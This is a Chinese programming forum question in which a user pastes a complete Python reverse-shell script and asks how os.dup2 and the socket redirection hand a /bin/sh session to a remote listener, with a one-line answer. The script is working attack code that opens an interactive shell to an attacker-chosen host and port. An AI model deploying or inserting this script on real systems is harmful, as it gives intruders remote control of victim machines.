读书人

请问一个反弹连接的有关问题

发布时间: 2012-08-17 02:08:34 作者: rapoo

请教一个反弹连接的问题
不懂的地方已加黑
import sys, socket, os, subprocess

host = sys.argv[1]
port = int(sys.argv[2])

socket.setdefaulttimeout(60)

def bc():
try:
sok = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sok.connect((host,port))
sok.send('''
b4ltazar@gmail.com
Ljuska.org \n\n''')
os.dup2(sok.fileno(),0)
os.dup2(sok.fileno(),1)
os.dup2(sok.fileno(),2)
os.dup2(sok.fileno(),3)
shell = subprocess.call(["/bin/sh","-i"])

#请问下这个地方os.dup2是什么意思?我查到的是将arg1复制到arg2,但是后面需要加上0,1,2,3(虽然0,1,2,3表示输出的一些问题)
#第二个问题是 它是如何将当前shell转发到远端监听端口的?没有看到发送什么数据啊?
except socket.timeout:
print "[!] Connection timed out"
except socket.error, e:
print "[!] Error while connecting", e

bc()


[解决办法]
貌似把标准输出输入重定向到socket上,然后在sh里直接和服务对话...

读书人网 >perl python

热点推荐